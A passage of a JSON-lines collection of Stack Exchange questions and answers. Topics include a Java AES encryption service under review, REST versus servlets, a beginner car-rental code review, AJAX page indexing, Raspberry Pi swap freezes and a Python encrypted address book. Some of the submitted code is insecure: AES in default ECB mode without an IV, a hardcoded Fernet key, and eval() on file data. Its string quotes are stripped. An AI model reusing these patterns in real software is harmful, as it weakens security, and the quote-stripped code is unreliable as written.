keyHex is blank, either we have an SQL exception or the key hasn't                 * been generated yet. Trying to use the EncryptionService without proper                 * initialization, will throw a FatalException.                 * If the key hasn't been generated yet, the next exception will trigger                 * the caller to use the generateKey() method in the catch block.                  */                //throw new NoEncryptionkeyException();            }        }    }    /**     * @see shared.bs.encryption.EncryptionService#isInitialized()     */    public boolean isInitialized() {        return isInitialized;    }    /**     * @see shared.bs.encryption.EncryptionService#decrypt()     */    public String decrypt(String value) {        if (StringUtils.isBlank(value)){            return null;        }        // NULL values from log files can be interpreted as a String with value null (see e.g. bug REDACTED)        if (value != null && value.equalsIgnoreCase(null)) {            return null;        }        if (getCipherDecrypt() == null) {            throw new EncryptionFailureException(Decryption failure. EncryptionService is not properly initialized.);        }        byte[] encryptedBytes = null;        byte[] decryptedBytes = null;        try {            encryptedBytes = hexToBytes(value);            decryptedBytes = cipherDecrypt.doFinal(encryptedBytes);        } catch (NumberFormatException e) {            throw new EncryptionFailureException(Decryption failure., e);        } catch (IllegalBlockSizeException e) {            throw new EncryptionFailureException(Decryption failure., e);        } catch (BadPaddingException e) {            throw new EncryptionFailureException(Decryption failure., e);        }        return new String(decryptedBytes);    }    /**     * @see shared.bs.encryption.EncryptionService#encrypt()     */    public String encrypt(String value) {        if (StringUtils.isBlank(value)){            return null;        }        if (getCipherEncrypt() == null) {            throw new EncryptionFailureException(Encryption failure. EncryptionService is not properly initialized.);        }        byte[] encrypted = null;        String encHex = null;        try {            encrypted = cipherEncrypt.doFinal(value.getBytes());            encHex = asHex(encrypted);        } catch (IllegalBlockSizeException e) {            throw new EncryptionFailureException(Encryption failure., e);        } catch (BadPaddingException e) {            throw new EncryptionFailureException(Encryption failure., e);        } catch (NumberFormatException e) {            throw new EncryptionFailureException(Encryption failure., e);        }        return encHex;    }    /** convert a byte array to a hex String */    private String asHex(byte buf[]) {        StringBuffer strbuf = new StringBuffer(buf.length * 2);        int i;        for (i = 0; i < buf.length; i++) {            if (((int) buf[i] & 0xff) < 0x10) {                strbuf.append(0);            }            strbuf.append(Long.toString((int) buf[i] & 0xff, 16));        }        return strbuf.toString();    }    /** convert a hex String to a byte array */    private byte[] hexToBytes(String hex) {        byte[] bts = new byte[hex.length() / 2];        for (int i = 0; i < bts.length; i++) {            bts[i] = (byte) Integer.parseInt(hex.substring(2 * i, 2 * i + 2), 16);        }        return bts;    }    /**     * @see shared.bs.encryption.EncryptionService#generateKey()     */    public synchronized void generateKey(){        if (!isInitialized){            /*             * Make sure the key really doesn't already exist and that an initialization failure             * isn't the result of an earlier SQLException.             * Try again retrieving the key from the database.              */            SystemSettingsService systemSettingsService = (SystemSettingsService) ServiceFactory.getInstance().createService(SystemSettingsService.class);            String tryKeyHex = systemSettingsService.getScmuuid();            if (StringUtils.isNotBlank(tryKeyHex)) {                // Something came back from the database, we try to initialize again and return silently.                initialize();                return;            }            // Generate a new 128 bit strong AES key.            KeyGenerator kgen;            try {                kgen = KeyGenerator.getInstance(AES);            } catch (NoSuchAlgorithmException e) {                throw new InitializationFailureException(                        Failure to generate a new encryption key., e);            }            kgen.init(128); // 128 is in standard JCE            SecretKey secretKey = kgen.generateKey();            byte[] keyBytes = secretKey.getEncoded();            keyHex = asHex(keyBytes);            // We have a keyHex, it's time to generate the ciphers:            SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, AES);            try {                cipherEncrypt = Cipher.getInstance(AES);                cipherDecrypt = Cipher.getInstance(AES);                cipherEncrypt.init(Cipher.ENCRYPT_MODE, secretKeySpec);                cipherDecrypt.init(Cipher.DECRYPT_MODE, secretKeySpec);            } catch (InvalidKeyException e) {                throw new InitializationFailureException(                        Failure to generate a new encryption key., e);            } catch (NoSuchAlgorithmException e) {                throw new InitializationFailureException(                        Failure to generate a new encryption key., e);            } catch (NoSuchPaddingException e) {                throw new InitializationFailureException(                        Failure to generate a new encryption key., e);            }            /*             * Persist keyHex (field scmuuid in SystemSettings) and encrypt all existing non-encrypted              * passwords and secure build/deploy-parameters in the database with this new key.             * removed for brevity in this example: each of these is an extra method call.             */                    }//End: if (!isInitialized)    }I got the impression that this has room for improvement, since information about the plaintext is leaking. Please note that because of legacy code throughout the entire project (mainly database field lengths), all our ciphertext output has to be shorter than 255 characters. In effect, this means that the output has to be 224 bytes long.And yes, I know that we're encrypting passwords. These are not user passwords. Those are handled through external systems like Active Directory and LDAP. These encrypted passwords are used to authenticate to external 3rd party systems where implementing a token-based authentication scheme either is not possible, is not feasible, or has been tried without success."  , "title": "Implementing AES encryption in Java"  , "tags": "java;cryptography;aes"  , "accepted_answer": "Well two things, the Cipher.getInstance is not so good, as you saidit's not using an IV; it should be using at least something likeAES/CBC/PKCS5Padding and probably a longer key, i.e. 256 bits(which needs to be enabled for the JVM because of US exportrestrictions; OpenJDK will already have that on, otherwise you'll get anexception during setup)Edit: See comment.  The default settings (and you might want toconfirm that with a debugger on the cipher objects - I just did thatwith some sample code) isECB mode,which isn't secure at all.Also take a look on https://crypto.stackexchange.com/ or perhaps crosspost there if you have more concerns.For the exceptions I'd actually just catch GeneralSecurityException -there's not much point in catching three different subclasses as it'sdoing the same thing anyway.The comments aren't amazing.  E.g. I can hardly believe that LOGGER isthe logger for the class.The thread-safe singleton is fine AFAIK, looking at articles onDouble-Checked Locking.The commented out throw in initialize should really be removedbecause it's dead code that just confuses the reader.The flow between generateKey, which retries the initialize callbasically and the initialize call during the constructor is confusingto say the least, like either there's something missing or generateKeybasically does do initialisation, but never sets isInitialized.Deduplicating the crypto would be a great idea btw.  And please justinitialise variables to their value instead of null with assignment -in most blocks in the code that's no problem at all and reduces thenumber of lines quite a bit.The hex parsing/printing looks fine but again I have a hard timebelieving there's no library you have available instead of doing ityourself.Lastly, decrypt and encrypt aren't synchronized - where is thesynchronisation happening?  Cipherisn't thread-safe;perhaps just the single doFinal call is, but even then any of thethrown exceptions would mean that the cipher object has to be reset to avalid state separately."  } 
{  "id": "_softwareengineering.134826"  , "question": "I'm teaching myself J2EE technologies using Glassfish as my webserver and EJB container. I'm very interested in learning REST as well, and developing an application that is adherent to the rules of REST.My first project is to write a chat client. The user will go to a webpage, download a webpage with the javascript to run the chat client (which posts the data to the server and fetches it as well). The calls to post data, and to fetch data, from the webserver will be through a RESTful interface. Right now I've done this through servlets that listen on the  /chatroom/getMessages and /chatroom/postMessage URI's.The wrinkle that I run into when I try to convert this to a RESTful service using JAX-RS that doesn't use servlets is that I feel like I'm reinventing the wheel. With the servlet specification I had this HTTPSession object that made it very easy to keep track of where someone is in the chat buffer (and therefore which messages should be sent to them when they visit /chatroom/getMessages). But now when I make it completely RESTful, and just use POJOs with JAX-RS (which I actually like better from a style standpoint) I now have to reinvent session state if I want it by handing the person a token, and having them hand it back to me every time we talk just like the automagically generated session cookie would have done for me if I was using servlets.WHY should I implement this with JAX-RS and abandon the servlets? I haven't seen any JAX-RS tutorials that mix servlets and JAX-RS (probably for good reason), so this doesn't seem to be an option. What I really want to know is what compelling reasons there are for going with REST. What does it buy me to not just use the servlets in a RESTful way?"  , "title": "Why should I use JAX-RS REST instead of normal servlets?"  , "tags": "web services;rest;soa"  , "accepted_answer": "A chat service as a rest-ful api is a GOOD match !I think resource-based interfaces are still a very important concept to talk about. The above answer is just not correct, even though it is over 4 years old.In general, really NOTHING is wrong about building a chat server interface as an resource oriented ReST-ful API. It is absolutely valid and a very good match for the principle. There are even example and tutorial pages out there, that use this as a quite straightforward example to emphazise the intention behind ReST-ful API.Why it is GOOD It can be a forum like service or a realtime chat, it does not matter in this regard. It boils down to the domain model.EXAMPLE 1 (classic realtime chat):Be it a more elaborate chat service, then one needs to create a chat room. The chatroom will be attached to him/her (the user object) and the chatlobby enclosing it (just assumed). One can now either check the user resource or the chatlobby resource, or filter through chatroom resources via additional query-params, what is perfectly valid.Which post the client has lately viewed and stuff like this, as long as it is not modelled in our chat service domain, is not part of the server state like mentioned in wikipedia. This is the session state of the client, the client tells which part of the collection of chat message resource it wants to GET.So how dare one says that it does not match !!For the forum like chat it is even simpler.EXAMPLE 2 (forum like chat):A chat forumPost is a Domain Object aswell as a comment on this forumPost. Surely then they will need a unique identifier to allow for a unique resource identifier (URI). One can even see that this looks quite similar to the above example. It is generally a good example, however you want to turn the chat.With an AOP audit you get created and modified times injected, can handle authorization ... The core aspect is, that this kind of api makes it necessary to understand the domain and the fundamental parts that matter to the user, the consumer, or interacting applications in general.STATELESS AND STATEFUL:It is really important to keep the principles in mind.The stated Wikipedia entry on ReST and the paragraph on STATELESS communication is aimed towards the client state, not the state of domain objects. Resources aka domain objects are by definition STATEFUL. The paragraph referenced is about session state, not domain state.If you intend to develop enterprise software, it is crucial to keep the boundaries and rationales straight.IN A NUTSHELL:Comments and Posts, aswell as Users are perfect examples for a restful api.For this reason a chat service is absolutely fine to start with.Having a seqential identifier will definitely not hurt.Go further and try to use links for the relations (href) and define the relation via (rel) relation attribute. Then the client can use domain terms to consume the correct endpoints. The client can via this technique (HATEOAS) explore the entire graph of objects without any knowledge of the domain objects themselves.Hope this helps to clarfiy, even though this is an older entry, the topic is still absolutely recent."  } 
{  "id": "_codereview.129814"  , "question": "Just looking for some constructive (harsh) criticism of a project I've completed and handed in. This is a theoretical implementation of the system, specifically has a simplified registration number and a simplified driving licence number generator. I've added in the other classes for clarity (and criticism is welcome for those) but would like focus on the RegistrationNumber.java class and LicenceNumber.java class and if I have guaranteed uniqueness.RentalAgency.javapackage carhireapp;import java.util.*;/* * Author: Andrew Cathcart, S130315904 * Main rental agency class * Contains the companies fleet of cars that they rent, as well as methods to get the currently  * rented cars, get the number of available cars of a certain size, see what car a certain  * driving licence is renting, issue a car to an individual with a valid licence and also terminate a rental. */public class RentalAgency {    private static List<Vehicle> ListOfCars = new ArrayList<Vehicle>();    private static Map<DrivingLicence, Vehicle> FLEET = new HashMap<DrivingLicence, Vehicle>();    // When RentalAgency is created, populate the ListOfCars    public RentalAgency() {        populateList();    }    // A method to populate the map of vehicles with 20 small cars and 10 large    // cars    private void populateList() {        for (int i = 0; i < 20; i++) {            ListOfCars.add(new SmallCar());        }        for (int i = 0; i < 10; i++) {            ListOfCars.add(new LargeCar());        }    }    // Returns the entire List listOfCars    public List<Vehicle> getListOfCars() {        return ListOfCars;    }    // Returns the entire map FLEET    public Map<DrivingLicence, Vehicle> getFleet() {        return FLEET;    }    /*     * True for small, false for large. For all objects in the list, if the     * vehicle in the list is a SmallCar object and is not rented, add to the     * counter     */    public int availableCars(Boolean isSmall) {        int count = 0;        for (Vehicle temp : ListOfCars) {            if (temp.isSmall() == isSmall)                if (!temp.isRented()) {                    count++;                } else if (!temp.isRented()) {                    count++;                }        }        return count;    }    // Returns a list of vehicle objects that are currently rented    public List<Vehicle> getRentedCars() {        List<Vehicle> rentedCars = new ArrayList<Vehicle>();        for (Vehicle temp : ListOfCars) {            if (temp.isRented()) {                rentedCars.add(temp);            }        }        return rentedCars;    }    // Returns the car matching a driving licence    public Vehicle getCar(DrivingLicence licence) {        if (FLEET.containsKey(licence)) {            return FLEET.get(licence);        } else            return null;    }    public void issueCar(DrivingLicence licence, Boolean isSmall) {        Calendar dob = Calendar.getInstance();        dob.setTime(licence.getDriverDateOfBirth());        Calendar today = Calendar.getInstance();        int age = today.get(Calendar.YEAR) - dob.get(Calendar.YEAR);        if (today.get(Calendar.MONTH) < dob.get(Calendar.MONTH)) {            age--;        } else if (today.get(Calendar.MONTH) == dob.get(Calendar.MONTH)                && today.get(Calendar.DAY_OF_MONTH) < dob.get(Calendar.DAY_OF_MONTH)) {            age--;        }        Calendar doi = Calendar.getInstance();        doi.setTime(licence.getDateOfIssue());        int yearsHeld = today.get(Calendar.YEAR) - doi.get(Calendar.YEAR);        if (today.get(Calendar.MONTH) < doi.get(Calendar.MONTH)) {            yearsHeld--;        } else if (today.get(Calendar.MONTH) == doi.get(Calendar.MONTH)                && today.get(Calendar.DAY_OF_MONTH) < doi.get(Calendar.DAY_OF_MONTH)) {            yearsHeld--;        }        /*         * Code to calculate the age of the person and also how many years         * they've held their licence Credited to user Zds from         * stackoverflow.com and Irene Loos from coderanch.com         * http://www.coderanch.com/t/391834/java/java/calculate-age         * http://stackoverflow.com/questions/1116123/how-do-i-calculate-         * someones-age-in-java         */        boolean flag = false;        // A simple flag to toggle depending on if we find an appropriate car to        // issue        if ((licence.isFull()) && (!licence.getCurrentlyRenting())) {            // If the individual has a full licence and is not currently renting            // a car            for (Vehicle temp : ListOfCars) {                // iterates through the list of Vehicles                if (temp.isSmall() == isSmall) {                    // checks if the user entered true or false for isSmall and                    // finds cars in the list from this                    if ((age >= 21) && (yearsHeld >= 1)) {                        // checks their current age and how many years they've                        // owned their licence against the requirements                        if ((!temp.isRented()) && (temp.isFull())) {                            // It then checks that the car in the list is not                            // rented and has a full tank                            temp.setIsRented(true);                            licence.setCurrentlyRenting(true);                            FLEET.put(licence, temp);                            flag = false;                            break;                        } else if ((age >= 25) && (yearsHeld >= 5) && (!temp.isRented()) && (temp.isFull())) {                            temp.setIsRented(true);                            licence.setCurrentlyRenting(true);                            FLEET.put(licence, temp);                            flag = false;                            break;                        } else                            flag = true;                    } else                        flag = true;                } else                    flag = true;            }        } else            flag = true;        if (flag) {            System.out.println(An appropriate car could not be issued);        }    }    // Removes key:value pairs from a map when given a licence object    // Also sets DrivingLicence's currentlyRenting status to false and Vehicle's    // isRented status to false    // Returns the fuel required to fill the tank, else -1    public int terminateRental(DrivingLicence licence) {        if (FLEET.containsKey(licence)) {            int fuelRequiredToFill = ((FLEET.get(licence).getFuelCapacity()) - (FLEET.get(licence).getCurrentFuel()));            licence.setCurrentlyRenting(false);            FLEET.get(licence).setIsRented(false);            FLEET.remove(licence);            return fuelRequiredToFill;        }        return -1;    }}Vehicle.javapackage carhireapp;/*  * Author: Andrew Cathcart, S130315904 * A Vehicle interface */public interface Vehicle {    public String getRegNum();    public int getFuelCapacity();    public int getCurrentFuel();    public void isTankFull();    public boolean isFull();    public boolean isRented();    public void setIsRented(Boolean bool);    public int addFuel(int amount);    public int drive(int distance);    public boolean isSmall();}AbstractVehicle.javapackage carhireapp;/*  * Author: Andrew Cathcart, S130315904 * An Abstract class which implements the Vehicle interface * This class does not include implementation for the drive method in the Vehicle interface */public abstract class AbstractVehicle implements Vehicle {    private RegistrationNumber regNum;    private int fuelCapacity;    private int currentFuel;    private boolean isFull;    private boolean isRented;    public AbstractVehicle() {        RegistrationNumber regNumObj = RegistrationNumber.getInstance();        regNum = regNumObj;        isFull = true;        setIsRented(false);    }    public String getRegNum() {        return regNum.getStringRep();    }    public void setFuelCapacity(int capacity) {        this.fuelCapacity = capacity;    }    public int getFuelCapacity() {        return fuelCapacity;    }    public int getCurrentFuel() {        return currentFuel;    }    public void setCurrentFuel(int amount) {        currentFuel = amount;        isTankFull();    }    public void isTankFull() {        if ((currentFuel - fuelCapacity) >= 0) {            isFull = true;        } else            isFull = false;    }    // Calls the isTankFull method and then returns isFull    public boolean getIsFull() {        isTankFull();        return isFull;    }    public boolean isRented() {        return isRented;    }    public void setIsRented(Boolean bool) {        isRented = bool;    }    public int addFuel(int amount) {        if (amount <= 0) {            throw new IllegalArgumentException(You must add an amount greater than zero);        }        if (isFull || !isRented) {            return 0;        }        // If the tank is full or the car is not rented return zero        if ((currentFuel + amount) <= fuelCapacity) {            currentFuel += amount;            if (currentFuel == fuelCapacity) {                isFull = true;                return amount;            } else                return amount;        }        // If the current fuel plus the amount to add is less than or equal to        // the fuel capacity, add the amount to the current fuel and if the        // current fuel is equal to the fuel capacity then set the boolean        // isFull to true and return the amount added        if ((currentFuel + amount) > fuelCapacity) {            int difference = (fuelCapacity - currentFuel);            currentFuel = fuelCapacity;            isFull = true;            return difference;        }        // Covers the case where the amount added would cause the current fuel        // to exceed the fuel capacity        return -1;    }}SmallCar.javapackage carhireapp;/*  * Author: Andrew Cathcart, S130315904 * Implements the drive method for a small car * Super class is AbstractVehicle */public class SmallCar extends AbstractVehicle {private int smallFuelCapacity = 45;        private boolean isSmall = true;        // Calls the super constructor, sets the fields appropriately        public SmallCar() {            super();            super.setFuelCapacity(smallFuelCapacity);            super.setCurrentFuel(smallFuelCapacity);        }        public boolean isSmall() {            return isSmall;        }        // returns the number of whole Litres of fuel consumed during the journey        public int drive(int distance) {            int fuelUsed = 0;            if (distance < 0) {                throw new IllegalArgumentException(Distance cannot be less than zero);            }            if (super.isRented() && (super.getCurrentFuel() > 0)) {                fuelUsed = (distance / 25);                super.setCurrentFuel(super.getCurrentFuel() - fuelUsed);                return fuelUsed;            }            return fuelUsed;        }        public boolean isFull() {            boolean bool = super.getIsFull();            return bool;        }    }LargeCar.javapackage carhireapp;/*  * Author: Andrew Cathcart, S130315904 * Implements the drive method for a large car * Super class is AbstractVehicle */public class LargeCar extends AbstractVehicle {    private int largeFuelCapacity = 65;    private boolean isSmall = false;    // Calls the super constructor, sets the fields appropriately    public LargeCar() {        super();        super.setFuelCapacity(largeFuelCapacity);        super.setCurrentFuel(largeFuelCapacity);    }    public boolean isSmall() {        return isSmall;    }    // returns the number of whole Litres of fuel consumed during the journey    public int drive(int distance) {        int fuelUsed = 0;        if (distance < 0) {            throw new IllegalArgumentException(Distance cannot be less than zero);        }        if (super.isRented() && (super.getCurrentFuel() > 0)) {            if (distance <= 50) {                fuelUsed = (distance / 15);                super.setCurrentFuel(super.getCurrentFuel() - fuelUsed);                return fuelUsed;            } else {                int moreThan = (distance - 50);                fuelUsed = (50 / 15) + (moreThan / 20);                super.setCurrentFuel(super.getCurrentFuel() - fuelUsed);                return fuelUsed;            }        }        return fuelUsed;    }    public boolean isFull() {        boolean bool = super.getIsFull();        return bool;    }}Implementation - Driving LicenceCar Registration NumberFor this project (though not in real life) a car registration number has two components - a single letter followed by a four digit number. For example: - a1234You must provide access to each component and an appropriate string representation of the registration number.Registration numbers are unique. You must guarantee that no two cars have the same registration number.RegistrationNumber.javapackage carhireapp;import java.util.HashMap;import java.util.Map;import java.util.Random;public final class RegistrationNumber {    private static final Map<String, RegistrationNumber> REGNUM = new HashMap<String, RegistrationNumber>();    // Stores stringRep with object    private final char letter; // One letter    private final int numbers; // Four numbers    private final String stringRep; // letter + number, e.g. A1234    private RegistrationNumber(char letter, int numbers) {        this.letter = letter;        this.numbers = numbers;        this.stringRep = String.format(%s%04d, letter, numbers);        // Pad the string to make sure we always get a four digit number    }    public static RegistrationNumber getInstance() {        Random random = new Random();        // Using the random class instead of math.random as it is a static        // method        final Character letter = (char) (random.nextInt(26) + 'A');        final int numbers = random.nextInt(9000) + 1000;        final String stringRep = letter + numbers + ;        if (!REGNUM.containsKey(stringRep)) {            REGNUM.put(stringRep, new RegistrationNumber(letter, numbers));        }        // If the randomly generated registration plate is unique then create a        // new object and return a reference to it        else if (REGNUM.containsKey(stringRep)) {            return getInstance();        }        // If the randomly generated registration plate is not unique, call the        // getInstance method again        return REGNUM.get(stringRep);        // return a reference    }    public char getLetter() {        return letter;    }    public int getNumbers() {        return numbers;    }    public String getStringRep() {        return stringRep;    }    public String toString() {        return RegistrationNumber [letter= + letter + , numbers= + numbers + , stringRep= + stringRep + ];    }}Driving LicenceYou must guarantee the uniqueness of licence numbers.LicenceNumber.javapackage carhireapp;import java.util.Date;import java.util.HashMap;import java.util.Map;import java.util.Random;import java.util.Calendar;public final class LicenceNumber {    private static final Map<String, LicenceNumber> LICENCENUM = new HashMap<String, LicenceNumber>();    private final String initials;    private final int yearOfIssue;    private final int serialNum;    private final String stringRep;    private LicenceNumber(String initials, int yearOfIssue2, int serialNum) {        this.initials = initials;        this.yearOfIssue = yearOfIssue2;        this.serialNum = serialNum;        stringRep = initials + - + yearOfIssue2 + - + serialNum;    }    public static LicenceNumber getInstance(Name fullName, Date dateOfIssue) {        final String initials = fullName.getFirstName().substring(0, 1) + fullName.getLastName().substring(0, 1);        Calendar cal = Calendar.getInstance();        cal.setTime(dateOfIssue);        final int yearOfIssue = cal.get(Calendar.YEAR);        Random r = new Random();        // Using the random class instead of math.random as it is a static        // method        final int serialNum = r.nextInt(11);        final String stringRep = initials + - + yearOfIssue + - + serialNum;        if (!LICENCENUM.containsKey(stringRep)) {            LICENCENUM.put(stringRep, new LicenceNumber(initials, yearOfIssue, serialNum));        } else if (LICENCENUM.containsKey(stringRep)) {            return getInstance(fullName, dateOfIssue);        }        // If two people have the same name, date of birth and are generated the        // same serial number, call the getInstance again        return LICENCENUM.get(stringRep);        // If the licence number is unique then create a        // new object, put it into the HashMap and return a reference to it,        // else return a reference    }    public String getInitials() {        return initials;    }    public int getYearOfIssue() {        return yearOfIssue;    }    public int getSerialNum() {        return serialNum;    }    public String getStringRep() {        return stringRep;    }    @Override    public String toString() {        return LicenceNumber [initials= + initials + , yearOfIssue= + yearOfIssue + , serialNum= + serialNum                + , stringRep= + stringRep + ];    }}Name.javapackage carhireapp;/* * Author: Andrew Cathcart, S130315904 * Relied upon by LicenceNumber class * A simple class used to create and store information about a persons name */public final class Name {    private final String firstName;    private final String lastName;    public Name(String firstName, String lastName) {        if ((firstName == null) || (firstName.isEmpty())) {            throw new IllegalArgumentException(firstName cannot be null or empty);        }        if ((lastName == null) || (lastName.isEmpty())) {            throw new IllegalArgumentException(lastName cannot be null or empty);        }        this.firstName = firstName;        this.lastName = lastName;    }    public String getFirstName() {        return firstName;    }    public String getLastName() {        return lastName;    }    @Override    public String toString() {        return firstName=  + firstName +  lastName=  + lastName;    }}DrivingLicence.javapackage carhireapp;import java.util.Date;/* * Author: Andrew Cathcart, S130315904 * Relies on the Name and LicenceNumber classes * A simple class to store information about a driving licence */public final class DrivingLicence {    private final Name driverName;    private final Date driverDateOfBirth;    private final Date dateOfIssue;    private final LicenceNumber number;    private final boolean isFull;    private boolean currentlyRenting = false;    public DrivingLicence(Name driverName, Date dateOfBirth, Date dateOfIssue, boolean isFull) {        this.driverName = driverName;        this.driverDateOfBirth = dateOfBirth;        this.dateOfIssue = dateOfIssue;        this.number = LicenceNumber.getInstance(driverName, dateOfIssue);        this.isFull = isFull;    }    public Name getDriverName() {        return driverName;    }    public Date getDriverDateOfBirth() {        return driverDateOfBirth;    }    public Date getDateOfIssue() {        return dateOfIssue;    }    public LicenceNumber getNumber() {        return number;    }    public boolean isFull() {        return isFull;    }    public void setCurrentlyRenting(Boolean bool) {        currentlyRenting = bool;    }    public boolean getCurrentlyRenting() {        return currentlyRenting;    }    @Override    public String toString() {        return \\nDrivingLicence \\ndriverName=  + driverName.toString() + \\ndriverDateOfBirth=  + driverDateOfBirth                + \\ndateOfIssue=  + dateOfIssue + \\nnumber=  + number.toString() + \\nisFull=  + isFull + ];    }}"  , "title": "A Car Rental Agency - guaranteeing uniqueness"  , "tags": "java;beginner"  } 
{  "id": "_webmaster.58552"  , "question": "On a HTML5 website, there is a single page, index.php . Its code contains other 5 pages.An AJAX navigation is used, so the URL of other page looks like example.com/#!/page_Example.I had tried to submit to Google many addresses of this kind using a XML sitemap, but Google indexes only the main page.Also, I've made some 301 redirects from example.com/Example to example.com/#!/page_Example, and submitted them, but the main page is still the only one indexed.How could I sumbit those URLs to Google?"  , "title": "Submit example.com/#!/page URLs to Google"  , "tags": "seo;google;sitemap;ajax"  , "accepted_answer": "According to Google, you should list your AJAX URLs in a sitemap exactly as you say you've done:4. Consider updating your Sitemap to list the new AJAX URLsCrawlers use Sitemaps to complement their discovery crawl. Your Sitemap should include the version of your URLs that you'd prefer to have displayed in search results, so in most cases it would be http://example.com/ajax.html#!key=value.At this point, I'll have to assume that the problem is somewhere else.In particular, keep in mind that the method Google uses to fetch AJAX pages is not the same as how normal browsers do it, and that it requires extra server-side support (parsing the _escape_fragment_ query parameter and serving the appropriate server-side generated version of the AJAX content based on it).  If your index.php is not set up to do that, Google will never even see you AJAX content, and thus cannot index it.To start with, I'd suggest using the Fetch as Googlebot feature of the Google Webmaster Tools to see if Google can even load your AJAX content.  If it cannot, follow the instructions here to set up your site so that it can."  } 
{  "id": "_unix.387704"  , "question": "I have a raspberry pi which swaps to an external NAS (please don't judge me :) ) over CIFS (link is a direct 100Mbit full duplex Ethernet connection). Swap works fine until a certain threshold which is about 100MB. The system then freezes and network connection with NAS stops. Samba share is mounted with automount. Where do I start if I want to find out why the Pi stops using the swapfile? I dont mind the slowdown because I'm just compiling heavy programs but when it freezes I'm forced to reboot."  , "title": "System freezes when swapping"  , "tags": "raspberry pi;swap;cifs"  } 
{  "id": "_codereview.172879"  , "question": "I'm new to programming. I wrote the following code in python. It's a cmd based address book.import osfrom reportlab.pdfgen import canvasfrom cryptography.fernet import Fernetp_d_D = {}d_D = {}dd = {}file_path = os.path.join(os.path.expanduser('~'), 'Desktop', str(os.path.basename(__file__)) + '__database.txt')  # The# Location of dict database stored in the users HDDdata = {}key = b'kXDB2gXHHwOoVC6FCwKjDhCa3JW0vRiKkHv3iBuPhx0='  # Secret key value # for Fernet encryption# Loads the decrypted dict into the memory (data gets the decrypted values)def make_eval2():    make_eval()    global dd    global data    decrypt_dict()    data = eval(str(dd))# A function that encrypts or decrypts dict and stores into dict dbdef encrypt_dict(write=False, decrypt=False):    l = []    for k, v in data.items():        for i in v:            if decrypt is False:                a = encrypt_decrypt(i)            else:                a = encrypt_decrypt(i, decrypt=True)            l.append(a)    ch = [l[x:x + 4] for x in range(0, len(l), 4)]    for it in ch:        d_D.setdefault(it[0], (it[0], it[1], it[2], it[3]))    if write is True:        write_read_data('w', text=str(d_D))    global p_d_D    p_d_D = d_D.copy()    d_D.clear()# Decrypts the dict data and stores into dict dddef decrypt_dict():    l = []    global data    global dd    if len(data) < 1:        print('No entry')    else:        for k, v in data.items():            for i in v:                a = encrypt_decrypt(i, decrypt=True)                l.append(a)        ch = [l[x:x + 4] for x in range(0, len(l), 4)]        for it in ch:            dd.setdefault(it[0], (it[0], it[1], it[2], it[3]))# A function that does the actual enc. or dec. of provided dict valuesdef encrypt_decrypt(x, decrypt=False):    global key    f = Fernet(key)    x_en = x.encode()    if decrypt is False:        a = f.encrypt(x_en).decode()        return a    else:        a = f.decrypt(x_en).decode()        return a# Initial file maker that creates an empty dict dbdef make_dict_file_to_write():    global file_path    if os.path.exists(file_path):        pass    else:        open(file_path, 'w')# Loads the dict db from HDD to dict data (into the memory)def make_eval():    global data    x = write_read_data('r', read=True)    if x == '':        pass    else:        data = eval(x)# A modified writing function for writing and reading to/from filesdef write_read_data(mode, **kwargs):    global file_path    read = kwargs.get('read', False)    text = kwargs.get('text', None)    with open(file_path, mode) as f_to_w_read:        if 'read' in kwargs:            if read is True:                return f_to_w_read.read()            else:                return None        if 'text' in kwargs:            if text is not None and mode == 'w':                x = f_to_w_read.write(str(text))                return x            return None# Returns the user given entries as encrypted values in the form of a tupledef get_contact_details():    a = ''    tags = ['name', 'address', 'cell-number', 'email']    for tag in tags:        x = input('Please enter contact %s: ' % tag)        a += x.lower() + ','    name, address, cell, email = a.rstrip(',').split(',')    h_name, h_address, h_cell, h_email = encrypt_decrypt(name), encrypt_decrypt(address), encrypt_decrypt(cell), \\                                     encrypt_decrypt(email)    return h_name, h_address, h_cell, h_email# Adds a new contact entry to the dict db in HDDdef add_contact():    make_eval()    contact = get_contact_details()    data.setdefault(contact[0], contact)    write_read_data('w', text=str(data))    clear_dict()    print('New contact added\\r\\n')# Prints requested entry into a PDF file in the current folder# It is a part of search_contact() functiondef print_data(x):    if x in data.keys():        xx = ('Name: %s\\r\\nAddress: %s\\r\\nCell-number : %s\\r\\nEmail: %s\\r\\n' % (data[x][0].capitalize(), data[x][1].                                                                            capitalize(),                                                                            data[x][2].capitalize(),                                                                            data[x][3].lower()))        print(xx)        file_name = '%s\\'s contact information' % x.capitalize()        c = canvas.Canvas(file_name + '.pdf', pagesize='A4')        t = c.beginText()        t.setFont('Times-Bold', 12)        t.setTextOrigin(30, 700)        t.textLines(file_name + ' :\\r\\n')        t.textLines(xx)        c.drawText(t)        c.showPage()        c.save()        print('Document will be printed after quitting\\r\\n')# Prints all the entries of the dict db into readable formatdef print_all():    make_eval()    if len(data) < 1:        print('No entry')    else:        encrypt_dict(decrypt=True)        global p_d_D        for k, v in p_d_D.items():            print('Name: %s\\r\\nAddress: %s\\r\\nCell-number : %s\\r\\nEmail: %s\\r\\n' % (v[0].capitalize(),                                                                                v[1].capitalize(),                                                                                v[2], v[3].lower()))    p_d_D.clear()# Allows a requested entry to be printed out in the PDF formatdef search_contact():    make_eval2()    search_item = input('Enter the full name of the person you wish to search: \\r\\n').lower()    if search_item in data.keys():        print_data(search_item)        clear_dict()    else:        print('No match found\\r\\n')# Part of edit_contact() function, which provides different editing choices to the userdef choice_edit():    while True:        choiceEdit = input('Press A to change address\\nPress C '                       'to change cell-number\\nPress E to change email\\nPress Q '                       'to quit without editing\\n').lower()        if choiceEdit == 'a' or choiceEdit == 'c' or choiceEdit == 'e' or choiceEdit == 'q':            return choiceEdit        print('Not correct option\\r\\n')# Part of edit_contact() functiondef do_it_again():    while True:        try:            doAgain = int(input('Press 1 to edit again\\nPress 2 to save and quit\\r\\n'))            if doAgain == 1 or doAgain == 2:                return doAgain            print('Not correct option\\r\\n')        except ValueError:            print('Select an integer\\r\\n')# Part of edit_contact() functiondef print_try(x=None):    xx = input('Enter new %s\\r\\n' % x).lower()    return xx# Stores the updated dict to the dict dbdef update(f, c):    x = tuple(f)  # Converts the list X into a tuple    data.update({(c, x)})  # Updates data dict    encrypt_dict(write=True)# Part of edit_contact() function which gives the option to store edited data or re-edit a requested entrydef next_gen(list_x, edit_pointer, edit_name, print_call=''):    list_x[edit_pointer] = print_try(x=print_call)    update(list_x, edit_name)    doooAgain = do_it_again()    if doooAgain == 1:        edit_contact()    if doooAgain == 2:        update(list_x, edit_name)        clear_dict()# Edits an stored entry on requestdef edit_contact():    make_eval2()  # Decrypts the dict to readable format    